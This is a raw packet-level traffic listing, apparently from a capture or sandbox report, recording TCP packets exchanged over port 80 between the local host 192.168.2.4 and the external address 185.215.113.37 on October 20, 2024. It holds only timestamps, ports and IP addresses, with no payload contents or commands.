Oct 20, 2024 06:40:20.452728987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.452730894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.452753067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.452776909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.452800989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.452855110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.452867031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.452894926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.452898026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.452909946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.452919006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.452922106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.452944994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.452966928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.452989101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453001022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453011990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453023911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453035116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453037024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453062057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453069925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453077078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453083038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453099966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453111887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453119040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453145027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453157902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453170061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453181028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453192949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453206062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453214884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453217983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453229904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453249931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453249931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453260899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453279018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453294039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453298092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453308105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453316927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453342915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453399897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453413010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453424931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453437090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453444958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453449965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453460932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453464985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453474045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453485012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453491926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453506947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453511953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453520060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453530073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453531981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453541040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453556061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453558922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453567028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453588009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453607082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453622103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453634024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453644991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453658104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453666925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453671932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453691959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453694105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453711033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453721046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453726053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453738928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453744888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453780890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453813076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453824043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453835011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453844070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453855991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453855991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453871965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453896046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453896999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453908920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453921080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453933001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453943968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453946114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453958035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453969955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453972101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453984976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.453984976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.453998089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454011917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454040051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454075098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454086065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454097986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454109907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454121113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454122066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454133987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454138041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454164982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454212904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454225063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454236031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454247952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454258919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454262018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454272985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454274893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454286098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454297066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454309940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454310894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454339027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454360008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454365015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454375982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454387903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454400063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454407930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454417944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454432964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454437971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454454899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454480886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454521894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454533100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454544067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454564095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454565048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454577923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454587936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454593897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454600096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454611063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454621077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454624891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454638004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454648972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454654932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454674959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454695940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454709053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454720020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454720974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454736948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454752922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454762936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454766035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454776049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454788923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454791069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454802990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454816103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454839945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454893112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454905033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454915047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454929113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454933882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454951048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454969883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454973936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.454982042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.454992056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455004930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455014944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455032110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455055952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455077887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455089092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455100060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455111027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455118895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455123901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455146074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455161095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455224991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455235958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455246925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455257893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455265999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455271006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455282927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455292940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455296040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455307007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455308914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455318928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455329895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455337048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455362082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455364943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455375910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455394983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455405951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455419064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455427885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455461025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455476999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455508947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455521107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455530882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455549002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455555916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455559969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455573082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455585003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455590963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455598116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455606937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455610991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455621958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455622911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455634117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455652952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455658913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.455686092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.455710888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.596245050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.596266985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.596280098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.596529961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.640957117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.640976906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.640990019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641000986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641019106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641036034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641050100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641110897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641129971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641141891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641144991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641144991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641144991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641144991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641158104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641179085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641186953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641186953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641196966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641210079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641221046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641235113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641235113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641247034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641258001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641262054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641273022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641279936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641285896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641295910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641299009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641314030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641323090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641325951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641336918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641350031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641351938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641360998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641371965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641372919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641383886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641393900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641396046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641408920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641421080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641423941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641433001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641444921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641449928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641469002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641485929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641490936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641503096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641515017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641527891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641540051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641540051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641551971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641563892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641568899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641582966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641591072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641596079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641608000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641608000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641645908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641673088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641674042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641685963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641696930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641707897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641716957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641717911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641731024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641741991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641743898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641753912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641758919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641787052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641828060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641839027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641849041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641861916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641872883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641872883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641885042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641887903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641896963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641908884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641917944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641921043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641932011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641946077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641962051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:20.641973019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641983986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.641994953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642014980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:20.642019033 CEST	49730	80	192.168.2.4	185.215.113.37
